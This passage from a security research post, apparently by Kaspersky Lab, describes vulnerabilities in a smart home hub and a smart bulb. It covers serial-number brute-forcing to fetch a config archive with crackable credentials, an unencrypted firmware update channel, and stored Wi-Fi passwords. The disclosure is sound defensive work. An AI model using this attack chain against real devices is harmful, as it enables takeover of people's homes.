But as we can see, the config.jar file is sent through HTTP and the device’s serial number is used as the device identifier. So, hackers can send the same request with an arbitrary serial number, and download an archive.

Some might think that serial numbers are very unique, but developers prove otherwise: serial numbers are not very well protected and can be brute-forced with a byte selection approach. To check the serial number, remote attackers can send a specially crafted request, and depending on the server’s reply, will receive information if the device is already registered in the system.

Moreover, our initial research has shown that users, without even realizing it, put themselves at risk by publishing their tech reviews online or posting photos of a hub in social networks and openly presenting devices’ serial numbers. And the security consequences will not be long in coming.

While analyzing the config.jar file archive, we found that it contains login and password details – all the necessary data to access a user’s account through the web-interface. Although the password is encrypted in the archive, it can be broken by hash decryption with the help of publicly available tools and open-sourced password databases. Importantly, during the initial registration of a user account in the system, there are no password complexity requirements (length, special characters, etc.). This makes password extraction easier.

As a result, we gained access to a user’s smart home with all the settings and sensor information being available for any changes and manipulations. The IP address is also listed there.

It is also possible that there might be other personal sensitive information in the archive, given the fact that users often upload their phone numbers into the system to receive alerts and notifications.

Thus, the few steps involved with generating and sending the right requests to the server can provide remote attackers with the possibility of downloading data to access the user’s web interface account, which doesn’t have any additional security layers, such as 2FA (Two Factor Authentication). As a result, attackers can take control over someone’s home and turn off the lights or water, or, even worse, open the doors. So, one day, someone’s smart life could be turned into a complete nightmare. We reported all the information about the discovered vulnerabilities to the vendor, which are now being fixed.

But there is always light at the end of the tunnel…

In addition to smart “boxes”, we had something smaller in our pocket – a smart light bulb, which doesn’t have any critical use, neither for safety or security. However, it also surprised us with a few – but still worrying – security issues.

The smart bulb is connected to a Wi-Fi network and controlled over a mobile application. To set it up a user needs to first download the mobile application (iOS or Android), switch on the bulb, connect to the Wi-Fi access point created by the bulb and provide the bulb with the SSID and password from a local Wi-Fi network.

From the application, users can switch it ON and OFF, set timers and change different aspect of the light, including its density and color. Our goal was to find out if the device might help an attacker in any way to gain access to a local network, from which it would eventually be possible to conduct an attack.

After several attempts, we were lucky to discover a way to get to the device’s firmware through the mobile application. An interesting fact is that the bulb does not interact with the mobile application directly. Instead, both the bulb and the mobile application are connected to a cloud service and communication goes through it. This explains why while sniffing the local network traffic, almost no interaction between the two were found.

We discovered that the bulb requests a firmware update from the server and downloads it through an HTTP protocol that doesn’t secure the communication with servers. If an attacker is in the same network, a man-in-the-middle kind of attack will be an easy task.

The hardware reconnaissance with flash dumping led us not only to the firmware, but to user data as well. With a quick look at the information shared with the cloud, no sensitive information seems to have been uploaded from the device or the internal network. But we found all the credentials of the Wi-Fi networks to which the bulb had connected before, which are stored in the device’s flash forever with no encryption – even after a “hard” reset of the device this data was still available. Thus, reselling it on online market places is certainly not a good idea.

Get ready

Our latest research has once again confirmed that ‘smart home’ doesn’t mean ‘secure home’. Several logical vulnerabilities (combined with an unconsciously published serial number) can literally open doors to your home and welcome in cybercriminals. Besides this, remote access and control over your smart hub can lead to a wide range of sabotage activities, which could cost you through high electricity bills, a flood or, even more importantly, your mental health.

But even if your smart hub is secure, never forget that the devil is in the details: a tiny thing such as a light bulb could serve as an entry-point for hackers as well, providing them with access to a local network.

That’s why it’s highly important for users to follow these simple cyber hygiene rules:

  • Always change the default password. Instead use a strict and complex one. Don’t forget to update it regularly.
  • Don’t share serial numbers, IP addresses and other sensitive information regarding your smart devices on social networks
  • Be aware and always check the latest information on discovered IoT vulnerabilities.

No less important is that vendors should improve and enhance their security approach to ensure their devices are adequately protected and, as a result, their users. In addition to a cybersecurity check, which is just as vital as testing other features before releasing a product, it is necessary to follow IoT cybersecurity standards. Kaspersky Lab has recently contributed to the ITU-T (International Telecommunication Union — Telecommunication sector) Recommendation, created to help maintain the proper protection of IoT systems, including smart cities, wearable and standalone medical devices and many others.